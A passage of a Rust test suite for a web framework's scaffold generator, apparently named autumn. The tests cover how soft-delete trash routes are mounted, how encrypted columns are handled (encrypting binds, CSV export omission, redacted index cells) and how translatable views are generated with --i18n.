("--live", trash_options(|o| o.live = true), &[]),
(
"--live-validation",
trash_options(|o| o.live_validation = true),
&[],
),
("--sharded", trash_options(|o| o.model.sharded = true), &[]),
// An owner-scoped index has no owner-filtered deleted-rows scope to
// list through, and re-deriving the owner filter by hand in a second
// handler is exactly how a list endpoint leaks another user's rows.
("owner-scoped", trash_options(|_| {}), &["user:references"]),
];
for (label, options, extra_fields) in cases {
let plan = trash_plan(&options, extra_fields);
assert_no_trash_surface(
&action_contents(&plan, "src/routes/posts.rs"),
&action_contents(&plan, "src/main.rs"),
label,
);
}
}
/// The trash gate is computed TWICE — once in `plan_scaffold_with_options_impl`
/// (which decides what `main.rs` mounts and whether the lifecycle test is
/// appended) and once in `render_routes_file` (which decides what the routes
/// module emits). If they ever disagree, the generated app either mounts a
/// handler that does not exist — it will not compile — or emits dead code
/// nothing routes to. Rather than trusting the two comments that say "must
/// agree", check the actual outputs against each other across the whole flag
/// matrix.
#[test]
fn the_mounted_trash_routes_always_match_the_emitted_ones() {
/// One scaffold flag, applied to the options under test.
type Toggle = fn(&mut ScaffoldOptions);
let toggles: [(&str, Toggle); 7] = [
("api", |o| o.api = true),
("live", |o| o.live = true),
("live_validation", |o| o.live_validation = true),
("sharded", |o| o.model.sharded = true),
("no_policy", |o| o.no_policy = true),
("searchable", |o| {
o.model.searchable = vec!["title".to_owned()];
}),
("soft_delete", |o| o.model.soft_delete = true),
];
// Guard against the loop degenerating into a no-op: if a future planner
// change starts refusing most of the matrix (or the `else { continue }`
// below starts swallowing everything), the counters catch it rather than
// letting a green test cover nothing.
let mut planned = 0usize;
let mut with_trash = 0usize;
// Every subset of the toggles, crossed with "does the model carry an
// owner column" (which is what makes the index owner-scoped).
for mask in 0u32..(1 << toggles.len()) {
for owner in [false, true] {
let mut options = ScaffoldOptions::default();
let mut label: Vec<&str> = Vec::new();
for (bit, (name, apply)) in toggles.iter().enumerate() {
if mask & (1 << bit) != 0 {
apply(&mut options);
label.push(name);
}
}
if owner {
label.push("owner");
}
// `--searchable` on an owner-scoped `--sharded` scaffold is
// refused outright (issue #1841), as is `--live` + searchable
// owner scoping; skip whatever the planner rejects rather than
// asserting on an error case this test is not about.
let extra_fields: &[&str] = if owner { &["user:references"] } else { &[] };
let tmp = project_with_main(default_main());
let mut fields = bulk_fields();
fields.extend(extra_fields.iter().map(|f| (*f).to_owned()));
let Ok(plan) = plan_scaffold_with_options(
tmp.path(),
"Post",
&fields,
"20260427000000",
&options,
) else {
continue;
};
planned += 1;
let routes = action_contents(&plan, "src/routes/posts.rs");
let main = action_contents(&plan, "src/main.rs");
let label = label.join("+");
if routes.contains("pub async fn trash(") {
with_trash += 1;
}
for name in ["trash", "restore", "purge"] {
let emitted = routes.contains(&format!("pub async fn {name}("));
let mounted = main.contains(&format!("routes::posts::{name}"));
assert_eq!(
emitted, mounted,
"[{label}] `{name}` is emitted={emitted} but mounted={mounted} — \
the two gates disagree, so the generated app would not compile"
);
}
// The generated lifecycle test is appended under the same gate,
// so it must track the handlers too — a test posting to routes
// the scaffold never emitted documents a lie.
let test_src = action_contents(&plan, "tests/post.rs");
assert_eq!(
routes.contains("pub async fn trash("),
test_src.contains("trash_restore_purge_lifecycle"),
"[{label}] the generated lifecycle test must track the trash handlers"
);
}
}
assert!(
planned > 200,
"the flag matrix should plan most of its {} combinations, planned {planned}",
2 << toggles.len()
);
assert!(
with_trash > 0,
"the matrix must include combinations that DO emit the trash surface, \
otherwise it only proves the feature is always off"
);
}
#[test]
fn regenerating_without_soft_delete_unmounts_the_trash_routes() {
let tmp = project_with_main(default_main());
// First run: the trash surface is mounted.
plan_scaffold_with_options(
tmp.path(),
"Post",
&bulk_fields(),
"20260427000000",
&trash_options(|_| {}),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let main = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
assert!(main.contains("routes::posts::trash"), "{main}");
// Second run WITHOUT the flag — the shape people land on when they
// re-scaffold and forget to repeat it. `update_main_rs` only adds, so
// without the prune the three entries would survive pointing at
// handlers the fresh routes module no longer defines, and the generated
// project would stop compiling.
plan_scaffold_with_options(
tmp.path(),
"Post",
&bulk_fields(),
"20260427000000",
&ScaffoldOptions::default(),
)
.unwrap()
.execute(Flags {
force: true,
..Default::default()
})
.unwrap();
let main = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
for entry in [
"routes::posts::trash",
"routes::posts::restore",
"routes::posts::purge",
] {
assert!(
!main.contains(entry),
"regenerating without --soft-delete must unmount `{entry}`:\n{main}"
);
}
// The routes that ARE still emitted stay mounted.
assert!(main.contains("routes::posts::destroy"), "{main}");
}
#[test]
fn destroying_without_soft_delete_unmounts_the_trash_routes() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&bulk_fields(),
"20260427000000",
&trash_options(|_| {}),
)
.unwrap()
.execute(Flags::default())
.unwrap();
// `autumn destroy scaffold Post` without repeating `--soft-delete` —
// the flag was typed once, days ago. The revert deletes the routes
// module, so any trash entry it leaves behind in `main.rs` points at a
// module that no longer exists and the remaining app stops compiling.
plan_scaffold_with_options_for_revert(
tmp.path(),
"Post",
&bulk_fields(),
"20260427000000",
&ScaffoldOptions::default(),
)
.unwrap()
.revert(Flags {
force: true,
..Flags::default()
})
.unwrap();
let main = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
for entry in [
"routes::posts::trash",
"routes::posts::restore",
"routes::posts::purge",
// The rest of the resource's entries come off the same way.
"routes::posts::index",
"routes::posts::destroy",
] {
assert!(
!main.contains(entry),
"destroy without --soft-delete must unmount `{entry}`:\n{main}"
);
}
}
#[test]
fn soft_delete_slug_scaffold_reserves_the_trash_segment() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
&trash_options(|_| {}),
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
// `GET /posts/trash` is a static sibling of `GET /posts/{slug}`, and the
// router always prefers the static one — so a post titled "Trash" whose
// slug derives to `trash` would be permanently unreachable at its own
// show page. The derived-slug collision probe must treat it as taken,
// exactly as it already does for `new` (and `search`).
assert!(
routes.contains("candidate != \"trash\""),
"a soft-delete slug scaffold must reserve the `trash` segment:\n{routes}"
);
}
#[test]
fn scaffold_without_trash_view_does_not_reserve_the_trash_segment() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
assert!(
!routes.contains("candidate != \"trash\""),
"a scaffold with no trash route must not reserve the segment:\n{routes}"
);
}
#[test]
fn soft_delete_destroy_flash_says_where_the_row_went() {
// With a Trash page in the app, "deleted" is no longer what happened.
assert!(
trash_routes_default().contains(r#"flash.success("Post moved to Trash")"#),
"a soft-delete scaffold with a trash view must say the row moved there"
);
// Without one there is nowhere to point the user, so the wording stays.
let plain = trash_routes(&trash_options(|o| o.model.sharded = true));
assert!(
plain.contains(r#"flash.success("Post deleted")"#),
"a scaffold with no trash view keeps the original delete wording"
);
}
#[test]
fn soft_delete_without_a_trash_view_warns_and_says_why() {
// Every gated-off variant explains itself at generation time rather than
// leaving the author to notice the missing Trash link.
let cases: [(&str, ScaffoldOptions, &[&str]); 4] = [
("--api", trash_options(|o| o.api = true), &[]),
("--live", trash_options(|o| o.live = true), &[]),
("--sharded", trash_options(|o| o.model.sharded = true), &[]),
("owner-scoped", trash_options(|_| {}), &["user:references"]),
];
for (label, options, extra_fields) in cases {
let plan = trash_plan(&options, extra_fields);
assert!(
plan.warnings
.iter()
.any(|w| w.contains("no Trash view generated for posts")),
"{label} must warn that --soft-delete generated no trash view: {:?}",
plan.warnings
);
}
// A scaffold that DOES get the trash view says nothing about it.
let plan = trash_plan(&trash_options(|_| {}), &[]);
assert!(
!plan.warnings.iter().any(|w| w.contains("Trash")),
"a scaffold that gets the trash view must not warn: {:?}",
plan.warnings
);
}
#[test]
fn api_soft_delete_scaffold_emits_no_trash_surface() {
let plan = trash_plan(&trash_options(|o| o.api = true), &[]);
// `--api` emits no HTML routes module at all; the guard here is that
// `main.rs` mounts nothing from one either.
let main = action_contents(&plan, "src/main.rs");
for entry in ["::trash", "::restore", "::purge"] {
assert!(
!main.contains(entry),
"an --api scaffold must not mount `{entry}`:\n{main}"
);
}
}
// ── `{encrypted}` at-rest column encryption (issue #1340) ───────────────
/// AC3/AC5 end-to-end: a scaffolded `{encrypted}` column lands as
/// `#[encrypted]` on the model, `TEXT` in the migration, and a plain
/// `String` on the struct — with the non-encrypted sibling untouched.
#[test]
fn scaffold_encrypted_field_emits_attribute_and_text_column() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Account",
&[
"username:String".into(),
"api_token:String{encrypted}".into(),
"email:String{encrypted:deterministic}".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let model = fs::read_to_string(tmp.path().join("src/models/account.rs")).unwrap();
assert!(
model.contains("#[encrypted]\n pub api_token: String,"),
"model: {model}"
);
assert!(
model.contains("#[encrypted(deterministic)]\n pub email: String,"),
"model: {model}"
);
assert!(model.contains("pub username: String,"), "model: {model}");
let up = fs::read_to_string(
tmp.path()
.join("migrations/20260427000000_create_accounts/up.sql"),
)
.unwrap();
assert!(up.contains("api_token TEXT NOT NULL"), "up.sql: {up}");
assert!(up.contains("email TEXT NOT NULL"), "up.sql: {up}");
}
/// AC6 (`--query` half): a derived equality lookup on a RANDOMIZED
/// encrypted column compiles but fails at runtime with
/// `EncryptionError::RandomizedEqualityLookup`. Refuse at generate time.
#[test]
fn scaffold_query_on_randomized_encrypted_field_is_rejected() {
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Account",
&["api_token:String{encrypted}".into()],
"20260427000000",
&ScaffoldOptions {
queries: vec!["find_by_api_token:api_token".into()],
..ScaffoldOptions::default()
},
)
.unwrap_err();
let msg = err.to_string();
assert!(msg.contains("api_token"), "must name the field: {msg}");
assert!(
msg.contains("deterministic"),
"must point at the fix: {msg}"
);
}
/// The deterministic mode is exactly what makes the lookup legal — the
/// repository macro encodes the bound parameter through the encrypted-column
/// registry at runtime, so `find_by_email` matches stored ciphertext.
#[test]
fn scaffold_query_on_deterministic_encrypted_field_is_allowed() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Account",
&["email:String{encrypted:deterministic}".into()],
"20260427000000",
&ScaffoldOptions {
queries: vec!["find_by_email:email".into()],
..ScaffoldOptions::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let repo = fs::read_to_string(tmp.path().join("src/repositories/account.rs")).unwrap();
assert!(
repo.contains("fn find_by_email(email: String) -> Vec<Account>;"),
"repo: {repo}"
);
}
/// A `:unique` deterministic encrypted column still gets its free
/// `find_by_<col>` and its `CREATE UNIQUE INDEX` (the index enforces real
/// plaintext uniqueness because equal plaintext yields equal ciphertext).
#[test]
fn scaffold_unique_deterministic_encrypted_field_keeps_find_by_and_index() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Account",
&["email:String{encrypted:deterministic}:unique".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let repo = fs::read_to_string(tmp.path().join("src/repositories/account.rs")).unwrap();
assert!(
repo.contains("fn find_by_email(email: String) -> Vec<Account>;"),
"repo: {repo}"
);
let up = fs::read_to_string(
tmp.path()
.join("migrations/20260427000000_create_accounts/up.sql"),
)
.unwrap();
assert!(
up.contains("CREATE UNIQUE INDEX idx_accounts_email_unique ON accounts (email);"),
"up.sql: {up}"
);
}
/// R11: the index table must not advertise a sortable header for an
/// encrypted column — the server would order by base64 ciphertext, which
/// bears no relation to the plaintext order the header link promises.
#[test]
fn scaffold_encrypted_column_is_not_sortable_in_the_index() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Account",
&[
"username:String".into(),
"api_token:String{encrypted}".into(),
"email:String{encrypted:deterministic}".into(),
],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/accounts.rs");
assert!(
routes.contains(r#".sortable("username")"#),
"a plain column stays sortable: {routes}"
);
assert!(
!routes.contains(r#".sortable("api_token")"#),
"a randomized encrypted column must not render a sort link: {routes}"
);
assert!(
!routes.contains(r#".sortable("email")"#),
"a deterministic encrypted column must not render a sort link: {routes}"
);
}
/// R12: the scaffold's next-steps must tell the developer to provision key
/// material, or the first write to the new resource fails at runtime.
#[test]
fn scaffold_with_encrypted_field_warns_about_key_material() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Account",
&["api_token:String{encrypted}".into()],
"20260427000000",
)
.unwrap();
assert!(
plan.warnings
.iter()
.any(|w| w.contains("autumn credentials edit")
&& w.contains("active_record_encryption.primary_key")),
"warnings: {:?}",
plan.warnings
);
}
/// The scaffold's standard (raw-diesel) `update` handler writes a `.set((…))`
/// tuple built from the submitted form. For an encrypted column that tuple
/// must bind the value through the encrypting diesel wrapper — a bare
/// `col.eq(new.col)` would store the **plaintext** in a column the reader
/// then tries to decrypt, which is both a silent data leak and a guaranteed
/// `MalformedEnvelope` on the next read. This is the single most important
/// assertion in the slice: the whole point of `{encrypted}` is that no
/// scaffolded path ever writes plaintext.
#[test]
fn scaffold_update_binds_encrypted_columns_through_the_encrypting_wrapper() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Account",
&[
"username:String".into(),
"api_token:String{encrypted}".into(),
"email:String{encrypted:deterministic}".into(),
],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/accounts.rs");
assert!(
routes.contains(
"accounts::api_token.eq(autumn_web::encryption::RandomizedText::from(new.api_token.clone()))"
),
"a randomized column must bind through `RandomizedText`:\n{routes}"
);
assert!(
routes.contains(
"accounts::email.eq(autumn_web::encryption::DeterministicText::from(new.email.clone()))"
),
"a deterministic column must bind through `DeterministicText`:\n{routes}"
);
// The bare, plaintext-writing form must appear nowhere for either column.
assert!(
!routes.contains("accounts::api_token.eq(new.api_token.clone())"),
"the plaintext bind must not survive anywhere:\n{routes}"
);
assert!(
!routes.contains("accounts::email.eq(new.email.clone())"),
"the plaintext bind must not survive anywhere:\n{routes}"
);
// A plaintext column keeps the ordinary bind, byte-for-byte.
assert!(
routes.contains("accounts::username.eq(new.username.clone())"),
"a plaintext column must be unaffected:\n{routes}"
);
}
/// `#[diesel(serialize_as = …)]` consumes the value, so diesel implements
/// `Insertable` only for the OWNED `New{Model}` — never `&New{Model}`. The
/// scaffold's insert must therefore pass the record by value when the model
/// has an encrypted column, or the generated app does not compile.
#[test]
fn scaffold_insert_passes_owned_record_when_a_column_is_encrypted() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Account",
&["api_token:String{encrypted}".into()],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/accounts.rs");
assert!(
routes.contains(".values(new)"),
"an encrypted scaffold must insert the owned record:\n{routes}"
);
assert!(
!routes.contains(".values(&new)"),
"`&New` is not `Insertable` once a column uses `serialize_as`:\n{routes}"
);
}
/// …and a scaffold with no encrypted column keeps the borrowed insert it has
/// always emitted, byte-for-byte.
#[test]
fn unencrypted_scaffold_keeps_the_borrowed_insert() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
assert!(routes.contains(".values(&new)"), "routes:\n{routes}");
}
/// The nested (`--belongs-to`) create handler writes through the same raw
/// diesel insert, so it needs the same owned record.
#[test]
fn nested_scaffold_insert_passes_owned_record_when_a_column_is_encrypted() {
let tmp = project_with_scaffolded_parent();
let plan = plan_scaffold_with_options(
tmp.path(),
"Token",
&["post:references".into(), "secret:String{encrypted}".into()],
"20260428000000",
&belongs_to_options(),
)
.unwrap();
let routes = action_contents(&plan, "src/routes/tokens.rs");
assert!(
!routes.contains(".values(&new)"),
"the nested create must not borrow an encrypted record:\n{routes}"
);
assert!(routes.contains(".values(new)"), "routes:\n{routes}");
}
/// Review finding: the scaffolded `GET /{plural}/export.csv` streamed the
/// DECRYPTED value of every encrypted column into a file that then leaves
/// the app entirely. `autumn-admin-plugin`'s own `csv_export_columns`
/// already filters `!f.encrypted`; the scaffold now matches it.
#[test]
fn scaffold_csv_export_omits_encrypted_columns() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Account",
&[
"username:String".into(),
"api_token:String{encrypted}".into(),
"email:String{encrypted:deterministic}".into(),
],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/accounts.rs");
assert!(
routes.contains(r#"&["id", "username", "created_at"]"#),
"the CSV header row must omit both encrypted columns:\n{routes}"
);
for leaked in ["self.api_token", "self.email"] {
assert!(
!routes.contains(leaked),
"an encrypted column must not reach `to_csv_record`: `{leaked}`\n{routes}"
);
}
// The plaintext column still exports, still through the formula guard.
assert!(
routes.contains("csv_text_cell(self.username.clone())"),
"routes:\n{routes}"
);
}
/// …and a scaffold whose ONLY text column is encrypted must not emit the
/// now-unused `csv_text_cell` helper: an unused `fn` is a `dead_code`
/// warning, and the scaffold's contract is warning-free generated code.
#[test]
fn scaffold_csv_export_drops_the_formula_guard_when_only_encrypted_text_remains() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Account",
&["views:i64".into(), "api_token:String{encrypted}".into()],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/accounts.rs");
assert!(
!routes.contains("fn csv_text_cell"),
"no exported column is text-backed, so the guard must not be emitted:\n{routes}"
);
}
/// Review finding: the index table rendered every row's decrypted secret.
/// A list is a bulk-disclosure surface, so the cell is redacted; the
/// single-record `show` view still renders the real value.
#[test]
fn scaffold_index_redacts_encrypted_cells_but_show_does_not() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Account",
&[
"username:String".into(),
"api_token:String{encrypted}".into(),
],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/accounts.rs");
// Index column: redacted, and the closure binds `_row` so the generated
// app stays warning-free.
assert!(
routes.contains(
"Column::new(\"Api Token\", |_row: &Account| maud::html! { (\"••••••••\") })"
),
"the index cell must be redacted:\n{routes}"
);
// Show view: the real value, because the reader routed to one record.
assert!(
routes.contains("(\"Api token\", maud::html! { (&row.api_token) })"),
"the show view must still render the value:\n{routes}"
);
// The plaintext sibling is untouched in both.
assert!(
routes.contains(
"Column::new(\"Username\", |row: &Account| maud::html! { (&row.username) })"
),
"routes:\n{routes}"
);
}
// ── Issue #1349: `--i18n` translatable scaffold views ────────────────
/// Every `t!(locale, "key")` key referenced by `src`, in source order.
fn t_macro_keys(src: &str) -> Vec<String> {
let mut keys = Vec::new();
let mut rest = src;
while let Some(pos) = rest.find("t!(locale, \"") {
let after = &rest[pos + "t!(locale, \"".len()..];
let Some(end) = after.find('"') else { break };
keys.push(after[..end].to_owned());
rest = &after[end..];
}
keys
}
/// Every top-level key defined in an `.ftl` source.
fn ftl_keys(src: &str) -> BTreeSet<String> {
src.lines()
.filter(|l| !l.trim_start().starts_with('#') && !l.trim().is_empty())
.filter(|l| !l.starts_with(' ') && !l.starts_with('\t'))
.filter_map(|l| l.split_once('='))
.map(|(k, _)| k.trim().to_owned())
.collect()
}
fn i18n_options() -> ScaffoldOptions {
ScaffoldOptions {
i18n: true,
..Default::default()
}
}
/// A five-field resource — the shape the issue's success metric measures.
fn i18n_fields() -> Vec<String> {
vec![
"title:String".into(),
"body:Text".into(),
"published:bool".into(),
"views:i64".into(),
"author_name:String".into(),
]
}
/// The `html! { … }` view bodies of a generated routes file — every span
/// between a `html! {` and the handler's closing `}))`. Used to assert that
/// no user-facing English literal survives in the markup itself (AC7).
fn view_bodies(routes: &str) -> String {
let mut out = String::new();
let mut rest = routes;
while let Some(pos) = rest.find("html! {") {
let after = &rest[pos..];
let end = after.find("\n}").unwrap_or(after.len());
out.push_str(&after[..end]);
out.push('\n');
rest = &after[end..];
}
out
}
/// AC6: without `--i18n`, scaffold output is byte-for-byte unchanged.
///
/// What this proves on its own is narrow — both sides run the post-#1349
/// generator, so it pins `ScaffoldOptions::default().i18n == false` and the
/// absence of any i18n artifact, not equality with the pre-#1349 output.
/// The real guard against drift is threefold and lives elsewhere: the
/// several hundred existing tests in this module assert the plain path's
/// exact strings (`Column::new("Id"`, `("Created at", maud::html!`,
/// `confirm('Delete this Post?')`, …) and would fail on any change;
/// `integration::scaffold_i18n::views_look_up_every_user_facing_string_through_the_t_macro`
/// re-generates without the flag and asserts each of those literals is
/// still there; and structurally,
/// [`ViewLabels`](super::super::scaffold_i18n::ViewLabels) returns the
/// caller's own expression verbatim when the flag is off, so there is no
/// second code path that could drift in the first place.
/// A nullable `bool` renders a tri-state select whose three options the
/// DERIVE fills with hardcoded English (`autumn-macros/src/model.rs`'s
/// `form_control_tokens`). Translating the field label and leaving
/// `— Unset —`/`Yes`/`No` beside it is exactly the half-done state this
/// flag exists to remove, so the scaffold overrides the control.
#[test]
fn a_nullable_bool_translates_its_own_options() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "archived:Option<bool>".into()],
"20260427000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains(".override_field(\"archived\", autumn_web::form::FieldControl::Select"),
"the derived control's English options must be replaced:\n{routes}"
);
for key in ["common.select.unset", "common.yes", "common.no"] {
assert!(
routes.contains(&format!("t!(locale, \"{key}\")")),
"{key} must be looked up:\n{routes}"
);
}
// The derive's own submitted values are kept, so form parsing is
// untouched: only the labels beside them change.
for value in ["(\"\".into()", "(\"true\".into()", "(\"false\".into()"] {
assert!(routes.contains(value), "{value} missing:\n{routes}");
}
// And no English leaks alongside.
assert!(
!routes.contains("\"— Unset —\".into()") && !routes.contains("\"Yes\".into()"),
"{routes}"
);
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
assert!(ftl.contains("common.yes = Yes"), "{ftl}");
assert!(ftl.contains("common.no = No"), "{ftl}");
}
#[test]
fn i18n_omitted_is_byte_identical_to_default() {
let fields = i18n_fields();
let tmp_default = project_with_main(default_main());
plan_scaffold(tmp_default.path(), "Post", &fields, "20260427000000")
.unwrap()
.execute(Flags::default())
.unwrap();
let tmp_explicit = project_with_main(default_main());
plan_scaffold_with_options(
tmp_explicit.path(),
"Post",
&fields,
"20260427000000",
&ScaffoldOptions {
i18n: false,
..Default::default()
},
)
.unwrap()
.execute(Flags::default())
.unwrap();
for rel in [
"src/routes/posts.rs",
"src/models/post.rs",
"src/repositories/post.rs",
"migrations/20260427000000_create_posts/up.sql",
"src/main.rs",
"Cargo.toml",
] {
let a = fs::read_to_string(tmp_default.path().join(rel)).unwrap();
let b = fs::read_to_string(tmp_explicit.path().join(rel)).unwrap();
assert_eq!(a, b, "`i18n: false` must not change `{rel}`");
assert!(
!b.contains("t!(locale"),
"non-i18n `{rel}` must carry no `t!` lookups:\n{b}"
);
}
assert!(
!tmp_default.path().join("i18n/en.ftl").exists(),
"a non-i18n scaffold must not create an `.ftl` stub"
);
}
/// AC2: page titles, buttons, links, and per-field labels are `t!` lookups.
#[test]
fn i18n_scaffold_emits_t_macro_lookups_for_every_view_string() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&i18n_fields(),
"20260427000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let keys: BTreeSet<String> = t_macro_keys(&routes).into_iter().collect();
for expected in [
"common.create",
"common.save",
"common.back",
"common.edit",
"common.delete",
"common.show",
"post.new",
"post.name.plural",
"post.field.title",
"post.field.author_name",
"post.flash.created",
] {
assert!(
keys.contains(expected),
"missing `t!` key `{expected}`; got {keys:?}"
);
}
}
/// AC7: no hardcoded English label literal survives in the view body.
#[test]
fn i18n_view_bodies_carry_no_hardcoded_label_literals() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&i18n_fields(),
"20260427000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let bodies = view_bodies(&routes);
for literal in [
"\"New Post\"",
"\"Create\"",
"\"Save\"",
"\"Delete\"",
"\"Back to list\"",
"\"Edit\"",
"\"Show\"",
"\"Post index\"",
"\"Posts\"",
"\"Title\"",
"\"Author Name\"",
"\"Author name\"",
] {
assert!(
!bodies.contains(literal),
"view body still carries the hardcoded literal {literal}:\n{bodies}"
);
}
// The whole file, not just the markup: labels reach the widgets through
// `let` bindings and `override_label` calls outside `html! { … }` too.
assert!(
!routes.contains("Column::new(\"Title\""),
"index column headers must be translated:\n{routes}"
);
assert!(
!routes.contains("(\"Created at\", maud::html!"),
"show property labels must be translated:\n{routes}"
);
}
/// #2227: the Markdown editor's chrome now reaches the bundle through
/// `RichTextLabels`. The view looks up the toolbar, the hint, and the
/// preview heading like every other label. The flag used to warn here
/// instead.
#[test]
fn i18n_translates_the_rich_text_editor_chrome() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "body:richtext".into()],
"20260501000000",
&i18n_options(),
)
.unwrap();
assert!(
!plan.warnings.iter().any(|w| w.contains("Markdown editor")),
"the editor is translated now, so nothing to warn about: {:?}",
plan.warnings
);
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains(
"required_rich_text_area_htmx_with_token_field_with_labels(changeset, \"body\""
),
"the editor must take the labels variant:\n{routes}"
);
assert!(
routes.contains(".preview_heading(&l_rt_preview)")
&& routes.contains(".toolbar_group(&l_rt_toolbar)")
&& routes.contains(".controls(&l_rt_controls)")
&& routes.contains(".hint(&l_rt_hint)"),
"every chrome label must be passed in:\n{routes}"
);
for key in [
"common.richtext.toolbar",
"common.richtext.hint",
"common.richtext.preview",
"common.richtext.bold",
"common.richtext.quote",
] {
assert!(
routes.contains(&format!("t!(locale, \"{key}\")")),
"{key} must be looked up:\n{routes}"
);
}
// The Markdown syntax is what the user types, so it stays as it is.
assert!(
routes.contains("\"**bold**\"") && routes.contains("\"> quote\""),
"the syntax hints must stay literal:\n{routes}"
);
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
assert!(
ftl.contains("common.richtext.toolbar = Markdown formatting"),
"{ftl}"
);
assert!(ftl.contains("common.richtext.preview = Preview"), "{ftl}");
assert!(ftl.contains("common.richtext.bold = Bold"), "{ftl}");
assert!(
ftl.contains(
"common.richtext.hint = Markdown supported. HTML is not allowed and is shown \
as plain text."
),
"{ftl}"
);
}
/// #2227: `TransitionLabels` carries the group label and one button label
/// per DISTINCT target state, so two edges into one state share a key and a
/// third state gets its own.
#[test]
fn i18n_translates_the_transition_controls_chrome() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Order",
&[
"title:String".into(),
"status:String:states(draft -> published, published -> archived, \
draft -> archived)"
.into(),
],
"20260502000000",
&i18n_options(),
)
.unwrap();
assert!(
!plan
.warnings
.iter()
.any(|w| w.contains("state-transition controls")),
"the controls are translated now: {:?}",
plan.warnings
);
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/orders.rs")).unwrap();
assert!(
routes.contains(
"autumn_web::widgets::transition_controls_with_labels(&paths::transition_status("
),
"the controls must take the labels variant:\n{routes}"
);
assert!(
routes.contains(", csrf, csrf_field, &l_tr_status_labels))"),
"the labels must be the trailing argument:\n{routes}"
);
for key in [
"order.field.status.transitions",
"order.field.status.transition.published",
"order.field.status.transition.archived",
] {
assert!(
routes.contains(&format!("t!(locale, \"{key}\")")),
"{key} must be looked up:\n{routes}"
);
}
// Two edges end at `archived`; they share one button and one key.
assert_eq!(
routes
.matches("order.field.status.transition.archived")
.count(),
1,
"one key per target state, not per edge:\n{routes}"
);
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
assert!(
ftl.contains("order.field.status.transitions = status transitions"),
"{ftl}"
);
assert!(
ftl.contains("order.field.status.transition.published = Mark as published"),
"{ftl}"
);
assert!(
ftl.contains("order.field.status.transition.archived = Mark as archived"),
"{ftl}"
);
}
/// #2227: the create and update handlers resolve each validator code
/// through the bundle, so the inline error reads in the same language as
/// the label above it.
#[test]
fn i18n_translates_the_inline_validation_messages() {
let tmp = project_with_main(default_main());
let mut options = i18n_options();
options.model.validations = vec!["email=email".to_owned()];
let plan = plan_scaffold_with_options(
tmp.path(),
"Contact",
&["email:String".into()],
"20260503000000",
&options,
)
.unwrap();
assert!(
!plan
.warnings
.iter()
.any(|w| w.contains("validation failed: <code>")),
"the messages are translated now: {:?}",
plan.warnings
);
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/contacts.rs")).unwrap();
assert!(
routes.contains("form.into_changeset_with(|field, code| match (field, code) {"),
"the handlers must pass a resolver:\n{routes}"
);
assert!(
routes.contains(
"(\"email\", \"email\") => Some(t!(locale, \"contact.field.email.error.email\")),"
),
"one arm per (field, code) pair:\n{routes}"
);
assert!(
routes.contains("_ => None,"),
"an unlisted code must keep autumn-web's default:\n{routes}"
);
// Both re-rendering handlers, not just create.
